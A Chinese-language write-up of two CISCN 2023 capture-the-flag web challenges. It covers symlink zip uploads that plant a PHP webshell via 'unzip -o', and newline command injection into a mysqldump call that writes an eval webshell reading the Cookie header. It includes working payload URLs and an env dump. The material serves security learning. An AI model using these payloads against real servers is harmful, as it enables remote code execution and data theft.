ciscn-2023-web-部分writeup


关于本次国赛

可以说暴露了很多问题,学的知识点太少了很多题根本没思路,全程只有misc输出,web唯一本来应该能做出来的SQL坐牢一天掉进自己的思维定式里面的,狠狠的被出题人坑傻了。最后无缘复赛,也没什么好遗憾的,实力如此,就是有点对不起队友和工作室,给他们丢脸了呜呜呜!

所以从现在开始决定花更多心思在CTF上了

CTF不是web的全部,但我永远不会忘记哪些熬夜做招新题的夜晚······


unzip

💚 有一个参看文件: https://forum.butian.net/share/906


题目环境

题目给出源码,

1
2
3
4
5
6
7
8
9
10
 <?php
 error_reporting(0);
 highlight_file(__FILE__);
 ​
 $finfo = finfo_open(FILEINFO_MIME_TYPE);
 if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
     exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
 };
 ​
 //only this!

然后有一个文件上传的接口。


做题分析

根据参考文章

  • 首先上传zip这个应该是不用改的,有比较强的验证,而且后面也有unzip的操作,所以应该就是上传zip文件了
  • cd /tmp && unzip -o应该是解题的关键,参考文章里面也有提到,看他的做法涉及到软连接,去看看。
  • 发现软链接配合zip文件上传可是实现任意文件读取
  • unzip -o不必先询问用户,unzip执行后覆盖原有的文件 -o参数目前猜测可能只是为了方便选手重复上传一样的名字的压缩包,所以关键是这个解压缩操作,配合软链接,也就是会执行软链接去任意文件读取
  • 原来-o 的用处是,先上传一个软链接的压缩包指向王炸根目录,然后再上传一个同样名称的压缩包包含webshell,然后访问,就造成rce了

上传该exp1.zip解压出里边的文件也是软连接/var/www/html目录下。接下来的思路就是想办法构造一个gethsell文件让gethsell文件正好解压在/var/www/html此时就可以getshell。

构造第二个压缩包,我们先创建一个files目录(因为上一个压缩包里边目录就是files),在files目录下写一个shell文件,在压缩创建的files目录 此时压缩包目录架构是:test/shell.php.当我们上传这个压缩包时会覆盖上一个目录,但是files目录软链接指向/var/www/html 。解压的时候会把shell.php放在/var/www/html,此时我们达到了getsehll的目的


silly的wp

zip可以打包软链接,首先创建一个指向/var/www/html的软连接

然后将软连接压缩打包,为exp1.zip

上传到服务器解压,此时tmp目录就有一个指向/var/www/html的软连接

删掉files软连接,创一个files文件夹,里面放一个webshell

压缩files,得到压缩包,exp2.zip

服务器里解压,此时访问/files/shell.php发现文件存在,webshell工具连接即可


dumpit

题目环境

1
use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1

初审

  • 题目提示flag在/flag
  • 先访问?db=ctf&table_2_query=flag1 flag1到5都访问了,提示让rce一个flag,初步猜测是SQL注入写文件getshell…
  • query赛道构造的语句是:
    • select * from ctf.flag1
    • 尝试构造查询其他表:
1
2
select * from information_schema.global_variables where VARIABLE_NAME='secure_file_priv'
array(4) { ["VARIABLE_NAME"]=> string(16) "SECURE_FILE_PRIV" [0]=> string(16) "SECURE_FILE_PRIV" ["VARIABLE_VALUE"]=> string(0) "" [1]=> string(0) "" }

发现secure_file_priv 为空,是可以写文件的。

  • 继续查看题目环境是否有写文件权限:简单输入一些查询语句,发现是没有读写权限的,,当时就在这里纠结了很久

我的思路

  • http://eci-2zehs7fgoxn8owsdgy7q.cloudeci1.ichunqiu.com:8888/?db=ctf&table_2_query=flag1 where 1=1 and 1=2 把后面的1=2改成一个bool判断句,题目会返回查询结果或者bool(false),利用这里的bool判断进行bool盲注
  • 但是这里跑了一下,length函数是可以用的,但是load_file全是FALSE,TIM佬当时就说了可能没有load_file也就是没有file权限,但是我不信邪呜呜呜,结果真的没有啊啊啊
  • 当时在这里卡了很久,总想尝试load_file去读/flag的内容,换各种bool语句,十六编码,结果就是坐牢一天。。

正解

  • 一开始发现了题目进行了一些过滤,比如;被过滤了,就没想过编码绕过啥的。。
  • 事实上,直接用%0a 进行编码绕过。
  • 然后就是这个题目使用了dump进行备份,但是mysql并没有自带的dump相关函数,所以它一定是调用了系统命令进行dump的,所以一些管道符还有;什么的都是可以尝试的,最后也可以使用exec进行命令执行,由于题目没有回显,所以考虑使用一句话木马到文件。
  • 在写的时候发现过滤了$,可以通过协议头获取rce参数。ls没问题,cat可能由于权限问题得不到flag。
  • 后来发现env环境变量中有flag信息,可能是生成靶机动态Flag的时候将Flag写入了环境变量。。。。。。。
1
2
<http://xxx/?db=ctf&table_2_dump=flag1%0Aecho%20%22%3C?php%20@eval(getallheaders()[%27Cookie%27]>)?%3E%22%20%3E%20%22/app/log/1.php%22%0A
# echo "<?php eval(getallheaders()['Cookie'])?>" > "/app/log/1.php"
  • 或者直接?db=-r "1.php" "<?=eval(phpinfo()) ?>"&table_2_dump=flag1 PHPinfo中查看环境变量get flag。
  • 或者直接?db=ctf&table_2_dump=%0Aenv